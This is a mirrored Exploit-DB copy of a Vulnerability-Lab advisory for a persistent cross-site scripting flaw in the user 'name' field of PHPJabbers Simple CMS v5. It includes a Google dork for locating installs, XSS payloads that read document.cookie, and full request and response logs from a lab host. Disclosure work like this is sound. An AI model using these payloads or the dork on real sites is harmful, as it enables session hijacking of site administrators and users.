PHPJabbers Simple CMS 5 – ‘name’ Persistent Cross-Site Scripting (XSS)

  • 作者: Vulnerability-Lab
    日期: 2021-11-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50475/
  • # Exploit Title: PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS)
    # Google Dork: subtitle:Copyright © 2021 PHPJabbers.com
    # Date: 2021-10-28
    # Exploit Author: Vulnerability-Lab
    # Vendor Homepage: https://www.phpjabbers.com/faq.php
    # Software Link: https://www.phpjabbers.com/simple-cms/
    # Version: v5
    # Tested on: Linux
    
    Document Title:
    ===============
    PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2300
    
    
    Release Date:
    =============
    2021-10-28
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2300
    
    
    Common Vulnerability Scoring System:
    ====================================
    5.4
    
    
    Vulnerability Class:
    ====================
    Cross Site Scripting - Persistent
    
    
    Current Estimated Price:
    ========================
    500€ - 1.000€
    
    
    Product & Service Introduction:
    ===============================
    A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed
    to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections
    and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the
    Developer License and customize the script to fit your specific needs.
    
    (Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.
    
    
    Affected Product(s):
    ====================
    PHPJabbers
    Product: PHPJabbers Simple CMS v5.0 - (Web-Application)
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2021-09-01: Researcher Notification & Coordination (Security Researcher)
    2021-09-02: Vendor Notification (Security Department)
    2021-**-**: Vendor Response/Feedback (Security Department)
    2021-**-**: Vendor Fix/Patch (Service Developer Team)
    2021-**-**: Security Acknowledgements (Security Department)
    2021-10-28: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Authentication Type:
    ====================
    Restricted Authentication (Moderator Privileges)
    
    
    User Interaction:
    =================
    Low User Interaction
    
    
    Disclosure Type:
    ================
    Responsible Disclosure
    
    
    Technical Details & Description:
    ================================
    A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application.
    The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
    browser to web-application requests from the application-side.
    
    The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request.
    Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users.
    The script code execution is performed after the inject via post method in the user list (pjAdminUsers).
    
    Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
    redirects to malicious source and persistent manipulation of affected application modules.
    
    Request Method(s):
    [+] POST
    
    Vulnerable Module(s):
    [+] Create (Add)
    [+] Update
    
    Vulnerable Parameter(s):
    [+] pjActionCreate
    [+] pjActionUpdate
    
    Affected Module(s):
    [+] pjAdminUsers
    
    
    Proof of Concept (PoC):
    =======================
    The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction.
    For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
    
    
    PoC: Payloads
    "><img src=evil.source onload=alert(document.cookie)>
    "><img src=evil.source onload=alert(document.domain)>
    
    
    --- PoC Session Logs (POST) [Add & Update]
    https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
    Host: phpjabbers-cms.localhost:8080
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 178
    Origin:https://phpjabbers-cms.localhost:8080
    Connection: keep-alive
    Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
    Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
    _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
    pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
    user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T
    -
    POST: HTTP/1.1 303
    Server: Apache/2.2.15 (CentOS)
    Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
    Keep-Alive: timeout=10, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    --
    https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
    Host: phpjabbers-cms.localhost:8080
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 180
    Origin:https://phpjabbers-cms.localhost:8080
    Connection: keep-alive
    Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2
    Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
    _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
    pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
    user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T
    -
    POST: HTTP/1.1 303
    Server: Apache/2.2.15 (CentOS)
    Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
    Keep-Alive: timeout=10, max=83
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    -
    https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source
    Host: phpjabbers-cms.localhost:8080
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Connection: keep-alive
    Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
    Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
    _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
    pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
    -
    GET: HTTP/1.1 200 OK
    Server: Apache/2.2.15 (CentOS)
    Content-Length: 380
    Keep-Alive: timeout=10, max=89
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    
    Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)
    <select data-name="status" style="display: none;" class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option>
    <option value="F">Inactive</option></select></td><td><a href="https://www.exploit-db.com/exploits/50475/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"
    class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input type="checkbox" name="record[]" value="3"
    class="pj-table-select-row"></td><td class="pj-table-cell-editable">
    <span class="pj-table-cell-label">r"><img src="https://www.exploit-db.com/exploits/50475/evil.source" onload="alert(document.cookie)"></img></span>
    <input type="text" data-name="name" style="display: none;" class="pj-form-field pj-form-text
    pj-selector-editable" value="r"><img src=evil.source onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">
    <span class="pj-table-cell-label">test@ftp.world</span><input type="text" data-name="email" style="display: none;"
    class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span class="pj-table-cell-label">06-09-2021</span></td>
    <td><span class="pj-table-cell-label"><span class="label-status user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">
    <span class="pj-table-cell-label pj-status pj-status-T">Active</span><select data-name="status" style="display: none;"
    class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option value="F">Inactive</option></select></td>
    <td><a href="https://www.exploit-db.com/exploits/50475/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=3" class="pj-table-icon-edit"></a>
    <a href="https://www.exploit-db.com/exploits/50475/index.php?controller=pjAdminUsers&action=pjActionDeleteUser&id=3" class="pj-table-icon-delete"></a></td></tr></tbody></table>
    
    
    Reference(s):
    https://phpjabbers-cms.localhost:8080/
    https://phpjabbers-cms.localhost:8080/1630949262_438/
    https://phpjabbers-cms.localhost:8080/1630949262_438/index.php
    https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
    https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
    
    
    Credits & Authors:
    ==================
    Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
    
    
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    =========================
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